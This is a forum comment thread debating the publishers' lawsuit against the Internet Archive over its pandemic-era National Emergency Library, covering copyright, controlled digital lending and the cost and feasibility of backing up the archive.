Activists rally to save Internet Archive as lawsuit threatens site - <AUTHOR> https://decrypt.co/31906/activists-rally-save-internet-archive-lawsuit-threatens <comment><USER5> I'm surprised and disappointed that the IA ever thought this would go over well, though I do respect the reasons for which they took these actions.

Circumstances around the COVID-19 lockdowns have been very unusual. If you consider the hundreds of millions (+?) of books in libraries around the world that were temporarily inaccessible to people, including children and students, I feel the IA's actions were somewhat justified, perhaps not legally, but at least morally. Young people losing months worth of time that could have been spent reading and learning constitutes an emergency in my mind, and the IA stepped up to help lessen the societal damages.

You could consider that because these many millions of book licenses were temporarily "invalidated" by circumstance, the Internet Archive simply rebalanced the scales by providing the same people who would have been deprived of books at their local/school library a similar means to access them. Such a scenario probably never even crossed the mind of anyone involved in IP law before COVID-19, but if it had there might be some provisions on the books for cases like this.

On another note, I would actually expect publishers' sales to increase during the lockdowns for the above reasons of books being held in purgatory at libraries. That publishers should profit from a global crisis in this way seems wrong.

Again, none of this is to say that the Internet Archive's actions were legally justified, but I think to equate them to pure piracy is ignoring the nuance and context of this extraordinary situation.

I desperately hope the publishers drop the suit and come to an agreement with the IA that doesn't result in the loss of this treasure trove of knowledge or the end of the organization.

<comment><USER6> My thoughts exactly, thanks for summing up so nicely. (upvoted)

IA's decision was apparently done with good intentions and under extraordinary circumstances. The "open sharing" was not meant to be permanent, and anyway has been discontinued. IA never sold the content for profit so any "harm" should be similarly limited.

Publishers would generate nothing but good karma by dropping their lawsuit. As an author it is more valuable to me to know my words and ideas are being preserved so they can be read and absorbed by future generations. Trying to extract every last dollar from such works undermines the pursuit of knowledge and human potential.

</comment></comment><comment><USER7> I have three favorite properties on the web: Wikipedia, the Khan Academy and the Internet Archive.

Whoever thought this was a good idea should own up to it and step down, this was a dumb move if there ever was one and risking one of the prime - and very fragile - properties on the web like this was highly irresponsible. Keep in mind that IA already has plenty of enemies who are continuously monitoring it and hoping to find a way to shut them down, then hand them this sort of thing on a golden platter. Beyond stupid, really.

<comment><USER8> That's a good list, but OpenStreetMaps should really be added to it :)

<comment><USER9> I'm an old-time OSMer, but really I have had zero use for any kind of map in the last 2 months.

</comment></comment></comment><comment><USER10> The more interesting thing here is the "controlled digital lending" test case that will almost certainly come of all of this.

If they somehow prevail on that aspect and set a legal precedent there, that would resolve a lot of issues for a lot of companies.

For example, Netflix could stream every movie ever, as long as they bought enough DVDs for peak demand. Or those companies that would set up 1000 TV antennas in a datacenter and then stream the signal.

I just hope the IA doesn't get CDL shot down because of this and ruin it for everyone.

<comment><USER11> "Or those companies that would set up 1000 TV antennas in a datacenter and then stream"

I believe Aereo tried just that and failed - [https://www.npr.org/sections/thetwo- way/2014/06/25/325488386...](https://www.npr.org/sections/thetwo- way/2014/06/25/325488386/tech-firm-aereo-performs-an-illegal-service-supreme- court-says)

<comment><USER12> They didn't fail, they were sued out of business. They had a good, innovative product that people wanted, and they got killed by a lawsuit. This is the tradeoff we're making when we grant more exclusive privileges over works: we kill innovations like these, and we get...probably not any more creative works than we would have gotten otherwise.

<comment><USER13> >They had a good, innovative product

They had a product that involved giving away other people's stuff. Yes, copyright terms are too long. But I'm pretty sure that a vanishingly small amount of that stuff they were giving away would be out of copyright even with a copyright term of 20 years.

<comment><USER14> Well I really take issue with the idea that IP is "other people's stuff". I might say they were giving away copies of data that the government had granted others a monopoly on. I am being intentionally pedantic because copyright is much more harmful than people give it credit for. The internet archive is desperately trying to give people free books and others are trying to stop them.

<comment><USER15> Are you planning to make all your code on GitHub public domain? Or are you just referring to other people's copyrights?

<comment><USER14> Yes. All of the writing on my website is CC0 licensed (public domain). The robot I have been designing for the last 2.5 years is CC0 licensed. I design PCBs for fun and license them CC0. I have been licensing my youtube videos as CC0, and I just started a new youtube channel for my own CC0 licensed 4k videos of nature. Most of the content on my github is already licensed with some kind of permissive open license either CC0 or MIT/BSD licensed, though some of my older work is licensed GPL.

Intellectual property restrictions raise costs and keep people poor. 3D printers were $50,000+ until the patents expired, and now you can get a decent printer for $300. And books of course could be distributed for free. Every person on earth could be born in to great wealth if we simply allowed it.

Of course I do not advocate that we take income from hard working artists. Instead I advocate for a world where we make living so cheap that artists need little in the way of income for survival. Reducing intellectual property restrictions is one important factor in lowering the cost of living for all, and would make it easier for billions to benefit from the technologies people like me in the USA enjoy.

Supporting copyright means supporting the idea that we do not build a comprehensive library of all books accessible to all people. In contrast to the idea that every child born on earth should have access to a complete library of the written word, intellectual property advocates push for the impoverishment of the billions on earth who cannot pay tithing to book publishers and movie studios. It's quite the bold position to take.

<comment><USER16> Great people deserve great recognition. Thank you.

May your works act as a seed to a tree whose shade you may one day enjoy.

<comment><USER14> Thanks! As long as the seeds grow, someone will enjoy the result. :)

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER17> I stand behind Internet Archive on this. It was the right opportunity to try and push our freedoms forward. Internet Archive is political by design, it's very existence is merely tolerated by the Intellectual Property Feudalists. It was the good fight to fight.

<comment><USER18> Same here! That is a digital lending system like every other public-library does it...

<comment><USER19> No, it really isn't. Library contracts for digital lending vary based on publisher and service provider, but aside from some very small publishers (if that), there is no publisher that allows for unlimited unmetered lending of e-books and certainly not for the price of a print book. Note also that physical books face physical wear and usually have to be retired after 25–40 (at most) lends.

<comment><USER18> >allows for unlimited unmetered lending of e-books

It is metered, you can lend max 5 book for max of 1 month.

>Note also that physical books face physical wear and usually have to be retired after 25–40 (at most) lends

Is that something positive? Should we go back to DVD because publishers would love that, or is streaming still ok?

<comment><USER19> It's an observation that points out that physical books are not being lent out hundred or thousands of times so the physical book argument (or the digitized physical book argument) don't hold water.

<comment><USER18> I never said anything about physical book's, many public-library have already e-books, like research-papers and so on.

<comment><USER19> Sorry, lots of commentary. The IA lending is premised on the idea that a physical book can be lent an unlimited number of times. Public library lending of e-books is premised on limited number of lends with most lends (Libby/Media on Demand being the most common of these, but there are other programs as well that work the same such as 3M's digital library offering). With Hoopla, there's a per-lend charge that takes place.

</comment></comment></comment></comment></comment></comment></comment><comment><USER20> I had not realized that the Internet Archive had 'expanded' into archiving & re-publishing books

While that endeavor certainly has value, the risks - exactly these risks - <USER2> so large & obvious that it really should have been done as a separate corporate organization. That is what the corporate structure is for - <USER3> separate liability.

Now, the entire, and very valuable, core mission is threatened by this one project.

<comment><USER21> They already had 20,000,000 books (yes that's a real number) available. The ones with Controlled Digital Lending allowed a single DRM-encrusted copy to be loaned out for each physical copy that they owned. This isn't explicitly allowed by any law but publishers hadn't challenged its claim of fair use and a lot of libraries use this technique. What was new with the NEL was just removing the one-copy-at-a-time limit. But the lawsuit is challenging the whole concept, including what other libraries are doing.

</comment></comment><comment><USER22> > The Internet Archive removed waitlists for books in its "National Emergency > Library" so that multiple readers could simultaneously download the same > digital copy.

>Four major book publishers have responded by suing the Internet Archive. If successful, they could bankrupt the nonprofit.

>The publishers take issue not only with the National Emergency Library, but with the Internet Archive as a whole.

<comment><USER23> I'm not sure why they thought this would be OK without getting permission from rights holders.

<comment><USER24> It seems more like they thought it was worth a try, for prospective reasons. From that perspective I find it hard to fault them based on the potential reward ratio for opening such knowledge, much of it no longer in stores or libraries at all, to all of society.

The Internet Archive is broadly improving on the library concept by leveraging their technology to push for innovation in intersecting areas of law and culture that are far from settled. While traveling this course, they have made day-to-day life and future prospects better for ordinary people who lack a voice in this domain in the first place. For this bold approach among other things they have what meager donation money I can give.

<comment><USER25> This reward ratio concept that you invented to frame this only accounts for one side of the transaction. For starters, to give something away for free, you have to own it first. There no moral high ground in deciding to give away other people's things. But if you want to only focus on the potential for public good, then where would you put the "reward ratio" for the authors who's work was given away by the internet archive? They struggle enough as it is to make money without a global financial crisis, and without large organisations taking it upon themselves to give their content away. What's the "reward ratio" for all the book retails going out of business at the moment, and all the staff they're laying off? Even if you hate publishers, and for some reason think they're not entitled to property rights, what's the "reward ratio" for their employees, or the people who's retirements are invested in their publicly traded companies?

It's easy to sympathise with the motivation behind the decision, but really their decision was to summarily strip people of their rights, and the payoff for their hard work. It wasn't a noble decision, because they didn't own what they were giving away, and an attempt to rationalize the deprivation it contributed to is really just sad. It was truly a monumentally stupid decision on their part, and they've jeopardized their entire mission because of it.

<comment><USER26> > There no moral high ground in deciding to give away other people's things.

Copyright does not have the moral high ground either. The fact is most books should already have entered the public domain. However, the public was cheated out of its rights due to ever increasing copyright durations. Why should authors and publishers retain monopoly rights to works _for over a hundred years?_ It should be a few years at most and that's being exceptionally generous.

There's absolutely nothing moral about copyright. When properly constrained to a reasonable duration, it could be considered a necessary evil _at best_. In its current form, it is equivalent to rent seeking and should be straight up abolished.

<comment><USER25> Copyright is neither moral nor immoral. It simply gives people who create content the ability to exercise certain property rights over that content for a certain period of time. There would be nothing immoral about abolishing copyright, but if you did then you could be sure that a lot less people would be willing to spend years writing the books you enjoy reading, or millions of dollars creating the TV shows and movies you enjoy watching.

Whether or not you think the existing copyright laws have exceeded their purpose is a completely different discussion, and one that is not at all related to this particular topic at all. Because the Internet Archive did not only violate copyright for content benefiting from whatever your opinion of excessive copyright is, they violated it for all the content they had.

</comment></comment></comment></comment></comment></comment><comment><USER27> > In doing so, it essentially allowed for a single copy of a book to be > downloaded an infinite number of times.

The publishers response to doing this was completely predictable. Maybe the leadership needs more diversity of background. Having someone who has been in the publishing business in that meeting when this was deemed a good idea maybe could have prevented this disaster.

<comment><USER23> I used to work for Spotify, and pretty much everything we did with music, lyrics, or album art had to go through legal, and projects often had to get label approval. This is just how you do things when you're working with IP.

It is a bit surprising that a non-profit dedicated to archiving knowledge doesn't have more experience with IP law. Not even lawyer-level, just enough to know when CC general counsel.

<comment><USER28> [https://techcrunch.com/2018/12/20/spotify-settles- the-1-6b-c...](https://techcrunch.com/2018/12/20/spotify-settles- the-1-6b-copyright-lawsuit-filed-by-music-publisher-wixen/)

> The complaint had alleged that "Spotify brazenly disregards United States > Copyright law and has committed willful, ongoing copyright infringement," it > said.

Note that I'm not saying Spotify did anything wrong in this case, but it does show two things.

1\. Big companies can manipulate the system better than nonprofits or individuals.

2\. Publishers sue to exploit the unreasonable monopoly the law gives them.

<comment><USER23> This is a _much_ better article on the Wixen lawsuit (be careful when you come across iTunes it it; it might refer to downloads, not streaming): [https://www.theverge.com/2018/3/14/17117160/spotify- mechanic...](https://www.theverge.com/2018/3/14/17117160/spotify-mechanical- license-copyright-wixen-explainer)

IIRC, the problem was that Spotify didn't know who to pay because there isn't a list of song to song writer, unlike song to label. Apple Music had the same problem.

</comment></comment></comment></comment><comment><USER29> I've got a synology NAS with at least 10TB spare capacity I could donate... If only there were a way to use it, and thousands more, to back up important projects like this in a decentralized way.

<comment><USER30> I keep thinking that the Bittorrent protocol would be an ideal fit for this; specifically, it would need a way to have all peers agree on what chunks of a file they themselves host and share to ensure the most complete copies available. And it would need a system for keeping it updated.

I wouldn't mind hosting a NAS in my closet and some bandwidth + storage to donate to the IA.

I also think cloud providers - all of them - have the capacity to host backups of the IA; I'd prefer if companies like Amazon, Google would donate their storage and bandwidth capacity to the IA instead of just money.

<comment><USER31> Bittorrent would require the totality of the archive to be preserved in multiple copies. I can't have a copy of that ledger here at home. We'd need a distributed highly redundant filesystem for that.

<comment><USER32> 44 million items in the Internet Archive are available as torrents. It's pretty straightforward to enumerate them, download them, and serve them up in a swarm.

<comment><USER31> That doesn't make it sure the torrented data is always available. The index is important, but the data and its metadata are much more important.

<comment><USER32> Right, which is why you want to start getting the data served by seeders outside of the Internet Archive proper.

The Pirate Bay is all magnet links. A model to be considered.

<comment><USER31> That still doesn't ensure all the data is available all the time.

A solution should be one where whoever hosts the data can't pick which pieces they want to host. Otherwise content that's not popular will disappear.

</comment></comment></comment></comment></comment></comment></comment><comment><USER33> > Controlled digital lending is a legal framework, developed by copyright > experts, where one reader at a time can read a digitized copy of a legally > owned library book.

And digital downloading is a communication framework, developed by technology experts, where an unlimited number of readers can read the same digital library book at the same time.

<comment><USER34> One of the benefits of the press was decreased price of a copy and increased availability of printed material. Look where it got us. Digital medium is no different from the press, but of course, papyrus industry is going to fight it, because profits are more important, always.

</comment></comment><comment><USER35> As for saving their data, well, about 60 million people need to donate 1 Gb of their hard drive space, or just 6 million people, 10 Gb of their HDDs.

Or more soberingly, any one of the world's millions of multi-millionaires could write a single cheque to back up all their info, but will anyone do so? Probably not, as collective resources and knowledge are of no benefit to them, indeed even detrimental.

<comment><USER36> If I did the math right, it actually only costs about 72k per year to archive 6PB on Google cloud. Thats well within the range of one Googler's annual discretionary income.

<comment><USER37> I'm not sure that's right. It's 60PB [1], not 6PB. According to [https://cloud.google.com/storage/pricing](https://cloud.google.com/storage/pricing) Google's cheapest (?) non-redundant archive storage seems to be USD $0.0012/GB/month. 60 PB = 60e6 GB, so 1 year would cost 12 _60e6_.0012 = 864e3 = USD $864 thousand. That's not counting the cost of getting the data in or getting any of it out to use.

[1] [https://news.ycombinator.com/item?id=23485594](https://news.ycombinator.com/item?id=23485594)

<comment><USER36> Derp! Yeah I guess that's still reasonable for a few dozen donors to pick up. I hope the data survives for posterity.

</comment></comment></comment></comment><comment><USER38> > Libraries pay three-to-five times more than retail price for eBook access. > If an individual is charged $15 for an eBook license, a library often pays > $50 or even $84 for one license.

Why? I should be able to donate book to the library. Is it possible with eBook?

<comment><USER39> Because an eBook is not at all like a physical book. It's more like a _service_ that interacts with DRM to provide an illusion of physicality. Libraries should be enabled to digitally lend their physical holdings and not have to rely on these eBook licenses, and CDL is a great model to that effect.

<comment><USER26> > Libraries should be enabled to digitally lend their physical holdings and > not have to rely on these eBook licenses, and CDL is a great model to that > effect.

Why must we come up with increasingly complicated ways to hide the fact unlimited copies are available? The right thing to do is to abolish copyright. It's time to stop pretending copyright makes sense in the 21st century.

<comment><USER40> Just because the marginal cost of a copy is zero does not mean there's no value in the information, and it's perfectly reasonable to gate access to that value.

Copying a video file is free too but I'm sure you wouldn't argue that anyone can watch a movie for free just because someone else made it. People have a right to own and control the distribution of their works that they invested in creating.

<comment><USER26> > it's perfectly reasonable to gate access to that value

It's also perfectly reasonable to distribute that information widely and without limits. The fact information is valuable to someone doesn't make it scarce. The harsh reality that creators need to face is that only the first copy need be paid for.

> I'm sure you wouldn't argue that anyone can watch a movie for free just > because someone else made it

I would. Instead of charging money for copies of a movie, film makers need to figure out how to get paid _before_ the movie is made. Creation must act like an investment, not a product. Maybe the answer is crowdfunding? Whatever it is, it needs to pay the creators _before_ they start working so that the final result can be released into the public domain immediately.

> People have a right to own and control the distribution of their works that > they invested in creating.

That's nothing but an illusion. Once the information is out there, it can no longer be controlled. People will copy it, distribute it, edit it, create derivative works, memes... And there's next to nothing creators can do to stop it. The work becomes part of mankind's culture. People infringe copyright every day without even realizing it.

"Creators have the right to control..." sounds like a neat idea on paper but it completely breaks down when put into practice. When authors try to "exercise control over their content", we end up with websites which disable right click and create annoying pop ups when we try to copy paste. It's completely ineffective and serves only to annoy people.

The only way to control information is to control _all_ the computers that process it. Currently, it's impossible but not for lack of trying. In order to prevent infringement, the copyright industry is prepared and willing to sacrifice computing freedom: their ultimate goal is to prevent us from running "unauthorized" software. Programs that do subversive things like copy movies or play movies without checking for a valid license first would not be signed by the authorities and the processor would then refuse to execute such code. Therefore, the copyright industry is an existential threat to hackers and the free and open source software community. I'd rather sacrifice the entire copyright industry than computing freedom.

<comment><USER41> Why would someone pay in advance for something that they will get for free at the same time as everything else? Fundamental limitation of capitalism is that one of its goals is to acquire the maximum amount of value for yourself, while losing the minimum amount. Even the most successful Patreon users rely on "Patreon exclusive content" for their supporters to be able to make some kind of livable money.

<comment><USER39> > Why would someone pay in advance for something that they will get for free > at the same time as everything else?

Because the content wouldn't get created unless they _do_ pay. That's why worthwhile Kickstarter projects tend to reach their funding threshold, even when they're to be released for no added cost.

</comment></comment></comment></comment></comment></comment></comment><comment><USER42> This wasn't the smartest move on behalf of the Internet Archive. One could argue they were pushing boundaries to get courts to rule in their favor but in the process they are putting the whole project in jeopardy. Taking current copyrighted works and just giving them away en-mass is obviously not going to be seen favorably by many.

</comment><comment><USER43> Good. the internet archive does important work, and i'd hate to see a stupid idea like this put their larger mission at risk. i'm not sure how they ever thought they could get away with giving away other people's property, just because pandemic.

</comment><comment><USER44> I would love to support the Internet Archive but the people behind it deliberately took steps that were guaranteed to bankrupt them once the publishers filed their (inevitable) lawsuit. Why would I support an organization that is determined to commit suicide?

<comment><USER45> > I would love to support the Internet Archive but the people behind it > deliberately took steps that were guaranteed to bankrupt them once the > publishers filed their (inevitable) lawsuit. Why would I support an > organization that is determined to commit suicide?

Because they hold a part of our digital history.

<comment><USER46> You make it sound like this is the tech version of "too big too fail".

<comment><USER47> Well it's the only place of its kind, it's more like it's too important to allow to be destroyed. Because you know that these copyright holder do not actually care about history or culture. Look what happened to what.cd, they will burn down everything to protect their profits

<comment><USER48> Maybe someone can buy their assets when they go trough bankruptcy

<comment><USER49> The fear is that the "someone" will be the selfsame publisher companies.

<comment><USER48> Why would they want 30 years of archived websites?

<comment><USER49> To prevent others from buying it, causing another lawsuit?

<comment><USER48> Why would there be another lawsuit? Book publishers dont care about archived websites. They care about IAs side activity of digitizing books and ignoring copyright. I can see them bankrupting the IA to stop their copyright infringement, but I don't think they have an interest is stopping the sale of the archive. They may not even have a legal ability to stop a sale during bankruptcy.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER50> I wish that the Internet Archive had tried to work around this by reaching out to public libraries, and having those public libraries agree to "loan" their still-on-the-shelf books to the Internet Archive. That might not cover all the copies that were simultaneously checked out by people (I don't know the numbers involved), but it would have helped.

</comment><comment><USER51> See announcement: [https://blog.archive.org/2020/06/10/temporary-national- emerg...](https://blog.archive.org/2020/06/10/temporary-national-emergency- library-to-close-2-weeks-early-returning-to-traditional-controlled-digital- lending/)

</comment><comment><USER52> Remember (the few that are over ~~600 years old might??:) ) Gutenberg invented movable type and a publication explosion followed. Heretofore books were hand copied, with errors etc. A medieval ~Xerox room was full of scribes - hard at work. A Xerox salesman who promised to double the speed of your copying - <USER4> walked in a hulking slave with a whip - all the monks visibly and hurriedly sped up. Back to Gutenberg, [https://www.livescience.com/2569-gutenberg- changed-world.htm...](https://www.livescience.com/2569-gutenberg-changed- world.html) the Authors fought printing presses, they fought even lending libraries. Books were often chained to the shelves to limit access as well as theft. [https://www.amusingplanet.com/2015/04/the-last-surviving- cha...](https://www.amusingplanet.com/2015/04/the-last-surviving-chained- libraries.html)

So here we are now. Progress is hampered by the old farts, the author's guilds, the Enslaviers,(intentional typo on Elsevier) who want us to be in permanent economic thralldom to them. They are mere pebbls in the rivers of progress, so we pay them to go away, or break them up. MIT has the right idea. I wish the Nobel Committee would announce that they will only consider openly published knowledge for future prizes. I wish all governmental other funders of research would mandate open publication. I wish all past published work was declared open NOW!!

</comment><comment><USER53> " _Many open-Internet activists have been discussing how to back up the archive and make it more resilient for years. The temptation would be to employ a distributed system, such as a blockchain, that would be censorship- resistant and couldn't be legally shut down._ "

A blockchain? Oy, vey.

<comment><USER54> Enjoy the multi-petabyte full node :)

</comment></comment><comment><USER55> Is there any easy way to download large chunks of the Internet Archive? Maybe IPFS mirror?

<comment><USER56> "Let's Say You Wanted to Back Up The Internet Archive" by Jason Scott [https://www.reddit.com/r/DataHoarder/comments/h02jl4/lets_sa...](https://www.reddit.com/r/DataHoarder/comments/h02jl4/lets_say_you_wanted_to_back_up_the_internet/)

<comment><USER57> Very interesting discussion here. Apparently can get 16TB drives at $100 each on enterprise bulk pricing. An entire backup would be 3,125 drives for $312,500.

But apparently the wayback machine itself is only about 2 Petabytes.. so if you don't need the collections perhaps only 125 drives needed, or $12,500.

<comment> jonah-archive Disclaimer: I run the infrastructure/ops team at the Internet Archive.

Unfortunately none of those numbers are really even close to correct (the discussion is always fun, but the folks in r/datahoarder are often not correctly informed. textfiles has more patience for it than I do). It would probably cost around 1.5M in drives, even at reasonable current enterprise volume pricing, to back up the 60+ PB of unique data in the Internet Archive (plus, as someone does note in that thread, the cost of running them -- even if it were a static backup to cold disks, you still need chassis to run them in for the backup process, space and infra for them, electricity, people, &c). I don't know offhand how much space the contents of the Wayback currently take up, but it's definitely an order of magnitude more than that number as well.

<comment><USER58> Does that 1.5m figure include redundancy (e.g. RAID)? What about if the data is compressed (either trivial gzipping each "file" the archive has, or using a compression window that spans multiple files)? I imagine the HTML/plaintext content of the Internet Archive would compress very well.

<comment> jonah-archive No, that's for a single raw copy (it could go lower based on implementation -- the sweet spot on $/bit pricing is around 8TB/disk right now, but that would actually be more expensive for us in total cost because of the increased infra/space/power necessary to run them). We could probably get a relatively trivial 20-30% savings on space for Wayback contents via compression, maybe more with work (various projects are underway to do this), but much of the rest of the contents are difficult to compress, or already compressed (music, imagery for books, video, software archives, etc). We have also historically been very reluctant to deduplicate heavily, though we are experimenting with it for certain types of content -- one principle of operation is that as an archive of last resort, we're unable to have a true deaccession plan as some other archives have. A compromise we make is that our hard drives are "landfill-ready" \-- that is, the contents of a drive (assuming you can read the filesystem) are inherently meaningful, content is housed with its metadata, and so forth. This produces some unusual restrictions on how far we can take compression and certain types of bitwise redundancy.

<comment><USER59> By unique data, that excluding generated data? Can you please estimate the space for just the wayback machine? It's the actual target.

What's the wayback machine with and without images? Is it possible that we could distribute the ASCII/Unicode content now?

<comment><USER21> _It 's the actual target._

It may be your target, but I would not be so dismissive of the other data in the Archive. The Software Library, the tens of millions of scanned books, the music, etc etc. On top of that, the raw scrape data driving the Wayback Machine is not currently made available to download from the archive. It's stored in WARC files, which would include both the images and text of all scrapes and would not be trivial to disentangle.

<comment><USER59> I'm not dismissing any other section of the archive. The the wayback machine has the big red target on it. It's a snapshot of recent history, I have lost track of how many times I have needed it for things that would otherwise be memoryholed.

Please, consider making a subscription service for the warc files, let us pay to get access to a query interface. archive.org could raise significant defense funds.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER60> The publishers should stop now that they've taken them down, but this was grossly irresponsible of the Internet Archive to do this, and they brought it on themselves. Releasing all of these copyrighted books for free hurt authors who rely on royalties to live, and it was inevitable that publishers would sue. I honestly don't understand why they did it. They have a responsibility as custodians of the archive to not put it at risk of destruction.

<comment><USER61> >I honestly don't understand why they did it.

Its right there in the article.

>In March, as the COVID-19 pandemic _led to the shutdown of public libraries_ , the Internet Archive created the National Emergency Library and temporarily suspended book waitlists

Public libraries got shut down, they opened a replacement. Makes perfect sense to me.

<comment><USER62> >Public libraries got shut down, they opened a replacement

And they did it in the most blatantly illegal way possible, with a press release that removed any doubt as to whether the infringement was willful. Brilliant!

IA could have, for instance, reached out to local libraries to see if IA could "use" their physical copies for proxies of the digital ones IA was loaning. This would likely have been illegal, but far more palatable, justifiable, and importantly not willful infringement.

<comment><USER63> Not a IP lawyer here, but I speculate that when and if this lawsuit goes to higher courts, the fact that IA was acting in favour of the public in a national emergency would be in their favor.

<comment><USER64> That won't fly because it is just as easy to lay claim that ignoring copyright is against the public because it devalues private property rights of which the creator did not assign to the IA.

<comment><USER62> The argument being put forward here is as if IA just broken into peoples houses and redistributed 3m masks, and tried to justify it because they're doing good.

<comment><USER65> I agree! Many people are grossly exaggerating the harm so that they can scoff at the justification of "doing good".

<comment><USER66> Fine, but the good has been exaggerated too. Some people who heard about this were able to read a book or two for free during a time when everyone was stuck in their house. That's a good gesture that I'm sure was appreciated, but they didn't change anyone's life here.

And it was a gesture that was not theirs to make. Did they ever consider just asking the publishers for permission? They might actually have gotten it. Companies were quite eager to do things to show they were trying to help back in March and April. But I've looked and found nothing saying they asked, so I'm guessing they didn't. Probably because they thought asking would look bad if they were told "no" and did it anyway.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER67> I'm a big supporter of IA, but they really goofed on this one. I donated after this incident but mostly because I don't want this lawsuit to shut them down.

</comment><comment><USER68> I wonder if there's a turnkey(ish) way to crowdsource a back-up the archive on IPFS.

IPFS seems ideally suited for two reasons:

\- it has decent censorship-resistant properties

\- content addressing is ideal for partial backups because individuals can mirror as little (or as much) as they want.

I'm guessing the simplest approach would be to somehow get access to the archive's database? Is this something they'd be willing to consider?

<comment><USER69> There is probably not enough people on IPFS to store all of it in a safe way that makes it always aviable. I think all the items on the page already have torrents so it would likely be better to share them around.

<comment><USER68> How many people are on IPFS?

</comment></comment></comment><comment><USER70> I really don't know much about the intersection of IP and legal entities, but in the worst case scenario would IA be able to move its web captured assets to a separate company instead of tanking the whole thing? In other words, just leave the "library" division to tank and take the heat while everything else remains safe elsewhere?

</comment><comment><USER71> The Internet Archive should do the lawful thing and remove all the content that the publishers want removed, to prevent the collateral damage to the important resource for those who just want to see old versions of pages that have changed or disappeared.

Leave the books and whatever to pirate torrent sites and just do the Wayback Machine thing.

</comment><comment><USER72> I warned about this very outcome when they announced the initiative [0]. The Internet Archive is too big and too important to gamble on this short term of a win (giving everyone free and unlimited access to all books for a few months at most). Assuming the organization continues to exist after this ordeal, their entire board should step down for putting at risk one of the most invaluable archives in existence.

I'm an executive board member for a much smaller IRL non-profit and could never imagine opening us up to such liabilities. I honestly cannot fathom how this came to pass.

[0]: [https://news.ycombinator.com/item?id=22732640](https://news.ycombinator.com/item?id=22732640)

<comment><USER73> If you want to establish a legal precedent, you can't just go to a court and ask them to. Courts only hear "cases and controversies" \-- to establish what the law is, you have to get somebody to sue you.

The reason this could bankrupt them is mostly because they don't have a lot of money. Their net assets are only a couple million dollars. They have to raise more than that every year just to keep operating.

But it's also because the plaintiffs are vindictive. They know this is about setting a precedent. They don't like the precedent, so they're out for blood. They could have been civilized and only asked for an injunction.

<comment><USER74> > If you want to establish a legal precedent, you can't just go to a court and > ask them to. Courts only hear "cases and controversies" \-- to establish > what the law is, you have to get somebody to sue you.

> The reason this could bankrupt them is mostly because they don't have a lot > of money. Their net assets are only a couple million dollars. They have to > raise more than that every year just to keep operating.

Are you trying to claim that Internet Archive purposely tried to set a precedent, knowing they don't have enough money to actually do it? That sounds like a pretty damning accusation of gross incompetence.

<comment><USER75> They can count on support from many. Maybe they have a plan.

<comment><USER74> > They can count on support from many. Maybe they have a plan.

I've looked at the complaint, and I've lived through the Napster trial. It would be one thing if they had a good case and just needed funds to make it through the trial. That's not what's going on here.

When you mix statutory copyright violation with digital technology, you get infinite fines. Any money you donate is going to the book publishers at the end of the day.

</comment></comment></comment></comment></comment><comment><USER76> Could the Internet Archive donate its holdings to a new nonprofit? If the servers were transferred to a new custodian and the anticipated bandwidth charges were paid forward, then what would they have to lose?

<comment><USER7> Adding bankruptcy fraud to the list of items on the docket is likely not the best way forward.

<comment><USER77> The data stored on the disk drives is what the world values, but it actually has very little economic value. Internet Archive should start selling off the storage/server setup to a different nonprofit at _fair market value_ ("Internet Cloud"), and renting continued access. If some eventual creditor wants to claim that the specific data collection on the disks had a value that was improperly sheltered from bankruptcy, they would be free to make a copy.

</comment></comment></comment><comment><USER78> I'd be disappointed if they end up dying on this particular hill.

</comment><comment><USER79> Seems like a good week to be erasing history.

</comment><comment><USER80> Yeah, its only 10 PB, why don't we p2p a copy? 1000 people with 10 TB to spare wouldn't work but 50 000 storing 100-400 GB each would be managable. 50 k pp is ofc nothing and probably not even enough to get it done before everyone gets bored. (you know who you are) Tubing it into the boxes would be the hard part. Most wouldn't need to do much more than contribute bandwidth and temp storage.

Why isn't file coin done?

<comment><USER81> The archive is closer to 60PB - [https://news.ycombinator.com/item?id=23485594](https://news.ycombinator.com/item?id=23485594)

So, more like 300,000 people storing 200GB, which is quite a tall order to fill.

<comment><USER82> > There are 237,000 members of this subreddit. > If each of us on average > contributed 1TB (I know many people, myself included, would give a more than > that for IA), we'd have 237PB, which feels like it's the right ballpark of > raw storage to host 30PB in a reasonable, redundant, "not ideal but at least > functional" manner.

[https://www.reddit.com/r/DataHoarder/comments/h02jl4/lets_sa...](https://www.reddit.com/r/DataHoarder/comments/h02jl4/lets_say_you_wanted_to_back_up_the_internet/ftk6p59/)

I'm small-potatoes for a datahoarder, but I could chip in a couple tens of TB to a project like this. If only I knew what button to push to make it do the thing.

</comment></comment></comment><comment><USER83> Sorry for my ignorance on this matter, but why do safe harbor provisions not apply to the Internet Archive? Shouldn't they have been served a DMCA takedown request bu the publishers, and then been in violation of those rules and paid the applicable penalties had they not complied and removed the offending content?

<comment><USER84> Safe harbor applies when other people upload books on your service and you are taking it down as you go. It does not apply when you publish books on your service.

</comment></comment><comment><USER85> I wonder if this rhymes with whatever happened to the library of Alexandria.

</comment><comment><USER86> Not sure why IA thought it was smart to do unlimited lending and risk the organization.

Did they just get caught up wanting to do something during virus stuff?

</comment><comment><USER87> "Hachette, HarperCollins, Penguin Random House, and Wiley [...] sued the organization."

Noted. I'll spend my money elsewhere.

<comment><USER88> Well, you were not spending money there anyway if you were downloading your books from IA ...

<comment><USER63> Ad hominem; Not everyone standing in support of IA in this case is even a user of their emergency library.

<comment><USER88> I guess it's an ad hominem, except the original comment made no argument, just implied they were boycotting those publishers going forward. I made no argument, just implied their boycott would probably be infective because they probably weren't buying books anyway.

Ad hominem is a logical fallacy where the debaters character is attacked rather than their point addressed. There is no argument being made here on either side.

<comment><USER63> I beg to differ. I see at least two main arguments here:

Argument 1: Since these publishers are suing IA (premise), I find it justified for myself to boycott them (conclusion)

Argument 2: Well, you were not spending money there anyway (conclusion) if you were downloading your books from IA (premise).

Why did I feel that Argument 2 was unsubstantiated and ad hominem? I asked myself, how did the person making Argument 2 know that the OP...

(a) ...has used IA National Emergency Library at all? may be they are just unhappy with these publishers bullying an NGO?

(b) ...has used IA NEM to download books from these particular publishers? may be they are buying everything Penguin publishes, but enjoyed using NEM for reading other books from other publishers?

Assuming things about the characters and actions of the person you are discussing with and making your argument about those rather than the topic of discussion, is a sign of a logical fallacy to me.

</comment></comment></comment></comment></comment><comment><USER89> Losing the Wayback Machine alone as a free resource would be a tragedy of bigger magnitude than the destruction of the Library of Alexandria. It must be saved!

